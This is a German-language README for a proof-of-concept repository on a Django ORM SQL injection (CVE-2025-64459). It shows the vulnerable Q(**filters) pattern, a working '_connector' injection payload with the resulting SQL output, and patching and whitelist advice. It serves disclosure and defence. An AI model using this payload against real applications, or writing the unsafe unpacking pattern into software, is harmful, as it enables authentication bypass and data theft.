0xcyberstan/cve-2025-64459-pocSchwachstelle: SQL Injection über QuerySet und das Entpacken von Schlüsselwortargumenten von Q(). CVE-ID: CVE-2025-64459 Schweregrad: Kritisch (CVSS 9.1) Betroffene Versionen: Django 5.1 < 5.1.14, 4.2 < 4.2.26 und 5.2 < 5.2.8. Forscher: Cyberstan (University of Warwick)
Schwachstelle: SQL-Injection via QuerySet und Entpacken von Q()-Argumenten (Keyword Arguments).
CVE-ID: CVE-2025-64459
Entdeckt von: Mir (Cyberstan)
Offenlegungsdatum: 5. November 2025
Dieses Repository enthält einen dockerisierten Proof of Concept (PoC), der eine kritische SQL-Injection-Schwachstelle im Django-ORM demonstriert.
Die Schwachstelle liegt in der Art und Weise, wie das Q-Objekt Schlüsselwortargumente während der Instanziierung verarbeitet. Insbesondere das interne Attribut _connector wird bei der Übergabe per Dictionary-Entpacken (z. B. Q(**user_input)) nicht ordnungsgemäß bereinigt. Dadurch kann ein entfernter Angreifer beliebige SQL-Logik in die WHERE-Klausel einer Datenbankabfrage einschleusen, was Authentifizierungsumgehung, Datenextraktion und Rechteausweitung ermöglicht.
Die Schwachstelle befindet sich in django.db.models.sql.where.WhereNode. Die Methode as_sql, die für die Kompilierung der SQL-WHERE-Klausel zuständig ist, verwendet unsichere String-Formatierung, um den Query-Connector (AND/OR) einzufügen.
Obwohl der Connector standardmäßig auf „AND“ oder „OR“ gesetzt ist, erlaubt Django die Überschreibung über das Schlüsselwortargument _connector im Konstruktor des Q-Objekts.
# Vereinfachte anfällige Logik in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# Der self.connector wird ohne Validierung direkt eingefügt
conn = ' %s ' % self.connector
# ...
Die Schwachstelle wird ausgelöst, wenn Entwickler Dictionary-Entpacken verwenden, um Filter aus Benutzereingaben zu konstruieren – ein häufiges Muster in Such-APIs.
Anfälliges Codemuster:
# Angreifer kontrolliert die Schlüssel und Werte von 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- ANFÄLLIGER PUNKT
results = User.objects.filter(query)
Fügt ein Angreifer _connector als Schlüssel in seine Eingabe ein, kann er die SQL-Struktur manipulieren.
Dieser PoC verwendet Docker, um eine konsistente, isolierte Umgebung mit der anfälligen Django-Version (5.1) bereitzustellen.
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Führen Sie den folgenden Befehl aus, um die Umgebung zu bauen und das Angriffsskript auszuführen:
docker-compose up --build
Der Container führt ein Python-Skript (poc.py) aus, das einen anfälligen Anwendungsendpunkt nachbildet.
alice (standard) und root (admin)._connector-Payload.Erfolgreiche Exploit-Ausgabe:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Aktualisieren Sie Django umgehend auf die neueste Sicherheitsversion.
pip install Django==5.1.14 (oder entsprechende Version)Der Patch führt eine strenge Validierung in WhereNode ein, die sicherstellt, dass connector nur gleich AND oder OR sein kann.
Falls Sie nicht sofort aktualisieren können, überprüfen Sie Ihre Codebasis auf die Verwendung von Q(**kwargs) oder filter(**kwargs). Stellen Sie sicher, dass das an diese Methoden übergebene Dictionary niemals rohe, benutzergesteuerte Schlüssel enthält.
Sicheres Muster:
# Explizit erlaubte Felder auf die Whitelist setzen
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Nun sicher zu entpacken
User.objects.filter(**clean_filters)
Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Der bereitgestellte Code erstellt eine anfällige Umgebung, um eine bestimmte Sicherheitslücke zu demonstrieren. Er sollte niemals in einer Produktionsumgebung ausgeführt werden. Der Autor (Cyberstan) übernimmt keine Haftung für missbräuchliche Verwendung dieser Informationen. Das Testen dieses Exploits gegen Systeme ohne ausdrückliche Genehmigung ist illegal.